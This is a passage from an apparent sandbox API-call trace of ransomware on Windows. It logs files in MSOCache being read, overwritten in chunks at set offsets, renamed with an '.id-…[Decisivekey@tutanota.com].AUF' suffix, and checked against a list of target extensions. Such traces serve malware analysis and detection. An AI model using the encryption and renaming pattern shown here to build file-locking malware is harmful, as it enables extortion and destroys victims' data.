[0214.113] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.113] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0214.130] GetLastError () returned 0x0 [0214.130] ReadFile (in: hFile=0x194, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0214.168] WriteFile (in: hFile=0x214, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0214.186] ReadFile (in: hFile=0x194, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x50588, lpOverlapped=0x0) returned 1 [0214.212] WriteFile (in: hFile=0x214, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0214.218] ReadFile (in: hFile=0x194, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.218] WriteFile (in: hFile=0x214, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0214.218] SetEndOfFile (hFile=0x214) returned 1 [0214.218] CloseHandle (hObject=0x214) returned 1 [0214.218] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.218] SetEndOfFile (hFile=0x194) returned 1 [0214.221] CloseHandle (hObject=0x194) returned 1 [0214.221] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0214.221] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0214.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0214.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0214.221] lstrlenW (lpString=".doc") returned 4 [0214.221] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0214.221] lstrlenW (lpString=".docx") returned 5 [0214.221] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0214.221] lstrlenW (lpString=".pdf") returned 4 [0214.221] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0214.221] lstrlenW (lpString=".xls") returned 4 [0214.221] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0214.221] lstrlenW (lpString=".xlsx") returned 5 [0214.221] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0214.221] lstrlenW (lpString=".ppt") returned 4 [0214.221] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0214.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0214.222] lstrlenW (lpString=".zip") returned 4 [0214.222] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0214.222] lstrlenW (lpString=".rar") returned 4 [0214.222] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0214.222] lstrlenW (lpString=".bz2") returned 4 [0214.222] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0214.222] lstrlenW (lpString=".7z") returned 3 [0214.222] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0214.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0214.222] lstrlenW (lpString=".dbf") returned 4 [0214.222] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0214.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0214.222] lstrlenW (lpString=".1cd") returned 4 [0214.222] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0214.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0214.222] lstrlenW (lpString=".jpg") returned 4 [0214.222] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0214.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0214.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0214.222] lstrlenW (lpString=".doc") returned 4 [0214.222] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0214.222] lstrlenW (lpString=".docx") returned 5 [0214.222] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0214.222] lstrlenW (lpString=".pdf") returned 4 [0214.222] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0214.222] lstrlenW (lpString=".xls") returned 4 [0214.222] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0214.222] lstrlenW (lpString=".xlsx") returned 5 [0214.222] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0214.222] lstrlenW (lpString=".ppt") returned 4 [0214.222] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0214.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0214.222] lstrlenW (lpString=".zip") returned 4 [0214.222] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0214.222] lstrlenW (lpString=".rar") returned 4 [0214.222] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0214.222] lstrlenW (lpString=".bz2") returned 4 [0214.222] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0214.222] lstrlenW (lpString=".7z") returned 3 [0214.222] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0214.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0214.222] lstrlenW (lpString=".dbf") returned 4 [0214.222] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0214.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0214.222] lstrlenW (lpString=".1cd") returned 4 [0214.222] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0214.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0214.222] lstrlenW (lpString=".jpg") returned 4 [0214.222] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0214.223] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0214.223] lstrlenW (lpString="Office32WW.msi") returned 14 [0214.223] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0214.228] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=1992192) returned 1 [0214.228] CloseHandle (hObject=0x204) returned 1 [0214.228] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0214.228] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.229] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0214.229] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0214.229] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0x0) returned 1 [0214.229] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0214.229] ReadFile (in: hFile=0x204, lpBuffer=0x3a10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a10058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.276] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0214.276] ReadFile (in: hFile=0x204, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.291] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0214.291] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0214.291] ReadFile (in: hFile=0x204, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.344] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.344] WriteFile (in: hFile=0x204, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2e5fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0214.364] SetEndOfFile (hFile=0x204) returned 1 [0214.367] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.367] WriteFile (in: hFile=0x204, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.368] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.368] WriteFile (in: hFile=0x204, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.369] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.369] WriteFile (in: hFile=0x204, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.371] CloseHandle (hObject=0x204) returned 1 [0214.371] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0214.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0214.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0214.371] lstrlenW (lpString=".doc") returned 4 [0214.371] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0214.371] lstrlenW (lpString=".docx") returned 5 [0214.371] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0214.371] lstrlenW (lpString=".pdf") returned 4 [0214.371] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0214.371] lstrlenW (lpString=".xls") returned 4 [0214.371] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0214.371] lstrlenW (lpString=".xlsx") returned 5 [0214.371] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0214.372] lstrlenW (lpString=".ppt") returned 4 [0214.372] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0214.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0214.372] lstrlenW (lpString=".zip") returned 4 [0214.372] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0214.372] lstrlenW (lpString=".rar") returned 4 [0214.372] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0214.372] lstrlenW (lpString=".bz2") returned 4 [0214.372] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0214.372] lstrlenW (lpString=".7z") returned 3 [0214.372] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0214.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0214.372] lstrlenW (lpString=".dbf") returned 4 [0214.372] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0214.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0214.372] lstrlenW (lpString=".1cd") returned 4 [0214.372] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0214.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0214.372] lstrlenW (lpString=".jpg") returned 4 [0214.372] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0214.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0214.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0214.372] lstrlenW (lpString=".doc") returned 4 [0214.372] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0214.372] lstrlenW (lpString=".docx") returned 5 [0214.372] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0214.372] lstrlenW (lpString=".pdf") returned 4 [0214.372] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0214.372] lstrlenW (lpString=".xls") returned 4 [0214.372] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0214.372] lstrlenW (lpString=".xlsx") returned 5 [0214.372] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0214.372] lstrlenW (lpString=".ppt") returned 4 [0214.372] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0214.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0214.372] lstrlenW (lpString=".zip") returned 4 [0214.372] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0214.372] lstrlenW (lpString=".rar") returned 4 [0214.372] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0214.372] lstrlenW (lpString=".bz2") returned 4 [0214.372] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0214.372] lstrlenW (lpString=".7z") returned 3 [0214.372] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0214.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0214.372] lstrlenW (lpString=".dbf") returned 4 [0214.372] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0214.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0214.372] lstrlenW (lpString=".1cd") returned 4 [0214.372] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0214.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0214.372] lstrlenW (lpString=".jpg") returned 4 [0214.372] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0214.373] lstrcmpiW (lpString1=".dll", lpString2=".AUF") returned 1 [0214.373] lstrlenW (lpString="osetup.dll") returned 10 [0214.373] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0214.373] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=7378792) returned 1 [0214.373] CloseHandle (hObject=0x204) returned 1 [0214.373] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0214.373] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.373] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0214.373] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0214.374] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0x0) returned 1 [0214.374] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0214.374] ReadFile (in: hFile=0x204, lpBuffer=0x3a10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a10058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.727] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0214.727] ReadFile (in: hFile=0x204, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.747] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0214.747] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0214.747] ReadFile (in: hFile=0x204, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.780] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.780] WriteFile (in: hFile=0x204, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2e5fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0214.791] SetEndOfFile (hFile=0x204) returned 1 [0214.794] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.794] WriteFile (in: hFile=0x204, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.795] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.795] WriteFile (in: hFile=0x204, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.796] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.797] WriteFile (in: hFile=0x204, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.909] CloseHandle (hObject=0x204) returned 1 [0214.909] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0214.909] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0214.909] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0214.909] lstrlenW (lpString=".doc") returned 4 [0214.909] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0214.909] lstrlenW (lpString=".docx") returned 5 [0214.909] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0214.909] lstrlenW (lpString=".pdf") returned 4 [0214.909] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0214.909] lstrlenW (lpString=".xls") returned 4 [0214.909] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0214.909] lstrlenW (lpString=".xlsx") returned 5 [0214.909] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0214.909] lstrlenW (lpString=".ppt") returned 4 [0214.909] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0214.909] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0214.909] lstrlenW (lpString=".zip") returned 4 [0214.909] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0214.909] lstrlenW (lpString=".rar") returned 4 [0214.909] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0214.909] lstrlenW (lpString=".bz2") returned 4 [0214.909] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0214.909] lstrlenW (lpString=".7z") returned 3 [0214.909] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0214.909] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0214.910] lstrlenW (lpString=".dbf") returned 4 [0214.910] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0214.910] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0214.910] lstrlenW (lpString=".1cd") returned 4 [0214.910] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0214.910] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0214.910] lstrlenW (lpString=".jpg") returned 4 [0214.910] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0214.910] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 